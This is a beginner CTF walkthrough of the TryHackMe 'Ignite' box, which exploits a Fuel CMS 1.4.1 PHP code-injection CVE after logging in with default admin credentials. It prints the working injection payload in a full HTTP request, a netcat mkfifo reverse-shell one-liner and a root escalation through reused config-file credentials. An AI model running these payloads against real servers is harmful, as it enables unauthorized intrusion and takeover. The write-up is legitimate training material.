Ignite is a very beginner friendly Linux boot to root challenge on TryHackMe. I actually got root before finding the user flag! We’ll be exploiting a CVE in a PHP application to gain access to the box, and from there a little bit of enumeration of the app’s config files reveal the root user’s credentials.

Tools Used

  • nmap
  • searchsploit
  • Burp Suite
  • netcat


Running nmap shows only a single exposed port, so we know exactly where to start enumerating.

└─$ sudo nmap -T4 -Pn -sV -sC -p- -oA nmap_initial
Nmap scan report for
Host is up (0.21s latency).
Not shown: 65018 closed ports, 516 filtered ports
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS


Let’s open in firefox to check out what it is serving:

Default Fuel CMS page

We have a default page for Fuel CMS version 1.4. This page has tons of helpful info on it including links to the user guide, GitHub repo, official forum, blog, and developer resources.

It also tells us which directories should be writable by any user, so those could be potentially be useful later.

We also see default credentials to the admin interface:

To access the FUEL admin, go to:
User name: admin
Password: admin (you can and should change this password and admin user information after logging in)

I wonder if the developer has changed the password yet? Let’s try to log in:

Default admin creds exposed

…Apparently not!

Before we dive deeper into the admin UI let’s use searchsploit to search for any known exploits.

└─$ searchsploit fuel
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
AMD Fuel Service - 'Fuel.service' Unquote Service Path                           | windows/local/49535.txt
Franklin Fueling TS-550 evo - Multiple Vulnerabilities                | hardware/webapps/31180.txt
fuel CMS 1.4.1 - Remote Code Execution (1)                                       | linux/webapps/
Fuel CMS 1.4.1 - Remote Code Execution (2)                                       | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                             | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                 | php/webapps/48778.txt
--------------------------------------------------------------------------------- ---------------------------------

This looks promising!

Running searchsploit -x 49487 to examine one of the RCE exploits, we see v1.4.1 of Fuel CMS allows PHP code execution via the filter parameter in /fuel/pages/select/?filter=. (For more info check out CVE-2018-16763).


Since the expoit is just a single HTTP request, let’s open Burp and try the attack manually.


  1. The vulnerable endpoint is behind the admin panel so it does require logging in the with defualt admin credentials first.
  2. Next open up Burp Suite and turn on proxying from Firefox so you can inspect the traffic.
  3. Navigate to the “Pages” section from the menu on the left-hand side of the admin panel.
  4. When you see the request to /fuel/pages in your HTTP history, right click and send the request to Burp’s Repeater tab. This is will give us a base request to build our attack on.

We can grab the payload from the exploit script we examined, and replace #{cmd} with the command you want to run: '%2bpi(print(%24a%3d'system'))%2b%24a('#{cmd}')%2b'

The full request should look something like this:

GET /fuel/pages/select/?filter='%2bpi(print(%24a%3d'system'))%2b%24a('id')%2b' HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ci_session=jkpkjda5n3eip7ou2trhb4m31ct26n9m; fuel_7da515443a82fcacf15d74c766f4b34b=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_7da515443a82fcacf15d74c766f4b34b=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522leftnav_hide%2522%253A%25220%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%257D; fuel_bar=%257B%2522show_fuel_bar%2522%253A%25220%2522%252C%2522show_editable_areas%2522%253A%25220%2522%257D
Upgrade-Insecure-Requests: 1

It works! We’ve confirmed we can execute commands on the server, and by running id we can see the app is running as the www-data user.

Confirmation of remote code execution

We could explore from here by running more commands through this webshell but let’s first work on getting a proper reverse shell.

Initial Foothold

First things first, start a netcat listener to catch the shell: nc -nlvp 4444

Often you have to cycle through various types of shell payloads before getting one to work, as I did here. I started with some PHP shells since we know the server must have PHP installed in order to run Fuel but actually ended up getting a shell with this netcat payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 4444 >/tmp/f

Don’t forget to URL encode the payload before making the request!

Reverse shell connection

Upgrading the Shell

Before we start chasing the flags let’s upgrade to a full TTY shell for a better working environment:

  1. Run python -c 'import pty;pty.spawn("/bin/bash")
  2. Ctrl+z
  3. Run stty raw -echo; fg
  4. Hit enter
  5. Run export TERM=xterm

Now we can clear the screen and have tab autocompletion…much more comfortable!

Privilege Escalation

We are currently in the web root at /var/www/html so let’s search for Fuel’s config files and see if they contain any creds.

Jackpot! There is a database.php under fuel/application/config, and if we cat out the contents we see the “root” user’s password for the SQLi database.

We haven’t found the user flag yet but I wonder if those are the same creds for root on the box? Let’s see!

www-data@ubuntu:/var/www/html/fuel/application/config$ su root
root@ubuntu:/var/www/html/fuel/application/config# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html/fuel/application/config# wc -c /root/root.txt
34 /root/root.txt

🏁 Root flag found!

Now let’s exit the root shell to go back and find the user flag.

If we cd /home we can see only the www-data user has a home directory that contains flag.txt!

User flag